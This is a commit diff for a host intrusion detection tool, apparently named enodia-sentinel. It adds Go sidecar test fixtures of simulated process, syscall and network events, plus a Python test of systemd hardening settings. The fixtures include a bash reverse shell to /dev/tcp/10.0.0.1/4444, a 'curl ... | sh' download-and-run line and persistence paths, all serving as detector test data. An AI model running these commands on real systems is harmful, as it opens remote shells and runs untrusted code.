feat(go): advance validation sidecar toward production
This commit is contained in:
parent
6a06eba255
commit
f85c2e831a
92 changed files with 8881 additions and 91 deletions
6
tests/fixtures/go/correlation-incidents.json
vendored
Normal file
6
tests/fixtures/go/correlation-incidents.json
vendored
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
[
|
||||
{"first_ts":1000.0,"last_ts":1050.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
|
||||
{"first_ts":2000.0,"last_ts":2010.0,"signatures":["host_rule.suspicious-listener","exec_rule.web-rce","new_listener"]},
|
||||
{"first_ts":3000.0,"last_ts":3601.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
|
||||
{"first_ts":4000.0,"last_ts":4010.0,"signatures":["exec_rule.web-rce"]}
|
||||
]
|
||||
50
tests/fixtures/go/exec-events.json
vendored
Normal file
50
tests/fixtures/go/exec-events.json
vendored
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
[
|
||||
{
|
||||
"pid": 1001,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/tmp/.x/dropper",
|
||||
"argv": []
|
||||
},
|
||||
{
|
||||
"pid": 1002,
|
||||
"ppid": 1001,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/bash",
|
||||
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
|
||||
},
|
||||
{
|
||||
"pid": 1003,
|
||||
"ppid": 55,
|
||||
"uid": 33,
|
||||
"parent_comm": "nginx",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "id"]
|
||||
},
|
||||
{
|
||||
"pid": 1004,
|
||||
"ppid": 1000,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "curl http://example.invalid/x | sh"]
|
||||
},
|
||||
{
|
||||
"pid": 1005,
|
||||
"ppid": 99,
|
||||
"uid": 1000,
|
||||
"parent_comm": "cron",
|
||||
"filename": "/opt/custom/tool",
|
||||
"argv": ["danger", "now"]
|
||||
},
|
||||
{
|
||||
"pid": 1006,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/usr/bin/ls",
|
||||
"argv": ["-la"]
|
||||
}
|
||||
]
|
||||
1
tests/fixtures/go/exec-rules-config.toml
vendored
Normal file
1
tests/fixtures/go/exec-rules-config.toml
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
exec_rules_file = "../tests/fixtures/go/exec-rules.toml"
|
||||
9
tests/fixtures/go/exec-rules.toml
vendored
Normal file
9
tests/fixtures/go/exec-rules.toml
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
[[exec_rules]]
|
||||
sid = 190001
|
||||
msg = "Custom replay rule"
|
||||
severity = "medium"
|
||||
classtype = "custom-exec"
|
||||
path_prefixes = ["/opt/custom/"]
|
||||
parent_comm = ["cron"]
|
||||
argv_regex = 'danger\s+now'
|
||||
parent_exclude = ["sshd"]
|
||||
14
tests/fixtures/go/host-events.json
vendored
Normal file
14
tests/fixtures/go/host-events.json
vendored
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
[
|
||||
{"event":"tcp_connect","pid":3001,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":4444,"local_ip":"10.0.0.5","local_port":51510},
|
||||
{"event":"listen","pid":3002,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
|
||||
{"event":"bind","pid":3003,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
|
||||
{"event":"file_write","pid":3004,"ppid":1,"uid":1000,"comm":"python3","path":"/etc/systemd/system/evil.service"},
|
||||
{"event":"chmod","pid":3005,"ppid":1,"uid":0,"comm":"chmod","path":"/etc/cron.d/evil","mode":"0o777"},
|
||||
{"event":"setuid","pid":3006,"ppid":1,"uid":1000,"comm":"python3","target_uid":"0"},
|
||||
{"event":"setgid","pid":3007,"ppid":1,"uid":1000,"comm":"python3","target_gid":"0"},
|
||||
{"event":"accept","pid":3008,"ppid":1,"uid":1000,"comm":"python3","remote_ip":"8.8.8.8","remote_port":"51515","local_ip":"0.0.0.0","local_port":"4444"},
|
||||
{"event":"capset","pid":3009,"ppid":1,"uid":1000,"comm":"python3","capability":"CAP_SYS_ADMIN"},
|
||||
{"event":"module_load","pid":3010,"ppid":1,"uid":0,"comm":"insmod","path":"/tmp/evil.ko","name":"evil"},
|
||||
{"event":"tcp_connect","pid":3011,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":443},
|
||||
{"event":"tcp_connect","pid":3012,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"10.0.0.2","peer_port":4444}
|
||||
]
|
||||
3
tests/fixtures/go/mixed-events.jsonl
vendored
Normal file
3
tests/fixtures/go/mixed-events.jsonl
vendored
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
{"type":"execve","pid":"4001","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}
|
||||
{"type":"sys","pid":"4002","ppid":"1","uid":"1000","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}
|
||||
{"type":"listen","pid":"4003","ppid":"1","uid":"1000","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}
|
||||
9
tests/fixtures/go/process-detectors.json
vendored
9
tests/fixtures/go/process-detectors.json
vendored
|
|
@ -1,5 +1,13 @@
|
|||
{
|
||||
"ld_preload": "/tmp/global.so\n/opt/second.so",
|
||||
"listener_baseline": [],
|
||||
"suid_baseline": ["/usr/bin/sudo"],
|
||||
"suid_binaries": ["/tmp/evil", "/usr/bin/sudo", "/usr/local/bin/newtool"],
|
||||
"persist_since": 100,
|
||||
"persistence_files": {"/etc/cron.d/evil": 101},
|
||||
"first_seen_initialized": true,
|
||||
"first_seen_public_destinations": {"bash": ["1.1.1.1:443"]},
|
||||
"first_seen_listener_ports": {"nc": ["22"]},
|
||||
"processes": [
|
||||
{"pid": 100, "comm": "bash", "cmdline": "bash -i", "exe": "/usr/bin/bash", "fd_targets": {"0": "socket:[999]"}},
|
||||
{"pid": 200, "comm": "sleep", "cmdline": "sleep", "exe": "/usr/bin/sleep", "environ": {"LD_PRELOAD": "/tmp/evil.so"}},
|
||||
|
|
@ -25,5 +33,6 @@
|
|||
{"state": "ESTAB", "local": "10.0.0.2:5000", "peer": "8.8.8.8:4443", "inode": 1, "comm": "hoxha", "pid": 340, "kind": "sctp"},
|
||||
{"state": "UNCONN", "local": "*:eth0", "peer": "*", "inode": 2, "comm": "tcpdump", "pid": 341, "kind": "packet"},
|
||||
{"state": "ESTAB", "local": "10.0.0.2:6000", "peer": "10.0.0.5:443", "inode": 3, "comm": "python3", "pid": 342, "kind": "tcp"}
|
||||
,{"state": "LISTEN", "local": "0.0.0.0:31337", "peer": "0.0.0.0:*", "inode": 4, "comm": "nc", "pid": 500, "kind": "tcp"}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
10
tests/fixtures/go/syscall-events.json
vendored
Normal file
10
tests/fixtures/go/syscall-events.json
vendored
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
[
|
||||
{"pid": 2001, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]},
|
||||
{"pid": 2002, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]},
|
||||
{"pid": 2003, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "memfd_create", "args": [0, 0, 0], "text": "payload"},
|
||||
{"pid": 2004, "ppid": 1, "uid": 1000, "comm": "debugger", "syscall": "ptrace", "args": [16, 5000, 0]},
|
||||
{"pid": 2005, "ppid": 1, "uid": 1000, "comm": "sandbox", "syscall": "seccomp", "args": [0, 0, 0]},
|
||||
{"pid": 2006, "ppid": 1, "uid": 1000, "comm": "scanner", "syscall": "process_vm_readv", "args": [5000, 0, 0]},
|
||||
{"pid": 2007, "ppid": 1, "uid": 1000, "comm": "secretstore", "syscall": "mlock", "args": [140000000, 4096, 0]},
|
||||
{"pid": 2008, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 5]}
|
||||
]
|
||||
53
tests/test_go_sidecar_packaging.py
Normal file
53
tests/test_go_sidecar_packaging.py
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
"""Regression checks for the opt-in Go validation service."""
|
||||
|
||||
from pathlib import Path
|
||||
import unittest
|
||||
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
UNIT = ROOT / "systemd" / "enodia-sentinel-go-sidecar.service"
|
||||
|
||||
|
||||
class GoSidecarPackagingTests(unittest.TestCase):
|
||||
def test_unit_is_isolated_and_opt_in(self) -> None:
|
||||
text = UNIT.read_text(encoding="utf-8")
|
||||
self.assertIn("ExecStart=/usr/bin/env enodia-sentinel-go ", text)
|
||||
self.assertIn("--state-dir /var/lib/enodia-sentinel-go", text)
|
||||
self.assertIn("--event-log /var/lib/enodia-sentinel-go/events.jsonl", text)
|
||||
self.assertIn("--event-log-max-bytes 67108864", text)
|
||||
self.assertIn("--snapshot-dir /var/lib/enodia-sentinel-go", text)
|
||||
self.assertIn("--ebpf-exec --ebpf-syscall", text)
|
||||
self.assertIn("StandardOutput=journal", text)
|
||||
self.assertIn("InaccessiblePaths=-/var/log/enodia-sentinel", text)
|
||||
self.assertNotIn("Alias=enodia-sentinel.service", text)
|
||||
|
||||
def test_unit_keeps_required_hardening(self) -> None:
|
||||
text = UNIT.read_text(encoding="utf-8")
|
||||
for directive in (
|
||||
"ProtectSystem=strict",
|
||||
"ProtectHome=read-only",
|
||||
"NoNewPrivileges=yes",
|
||||
"MemoryDenyWriteExecute=yes",
|
||||
"StateDirectory=enodia-sentinel-go",
|
||||
"LimitMEMLOCK=infinity",
|
||||
"Type=notify",
|
||||
"NotifyAccess=main",
|
||||
"PrivateDevices=yes",
|
||||
"RestrictAddressFamilies=AF_UNIX AF_NETLINK",
|
||||
"SystemCallArchitectures=native",
|
||||
):
|
||||
with self.subTest(directive=directive):
|
||||
self.assertIn(directive, text)
|
||||
|
||||
def test_install_requires_explicit_go_target(self) -> None:
|
||||
makefile = (ROOT / "Makefile").read_text(encoding="utf-8")
|
||||
default_install = makefile.split("\ninstall-go:", 1)[0]
|
||||
self.assertNotIn("enodia-sentinel-go-sidecar.service", default_install)
|
||||
self.assertIn("install-go: build-go", makefile)
|
||||
self.assertIn("enable-go:", makefile)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Loading…
Add table
Add a link
Reference in a new issue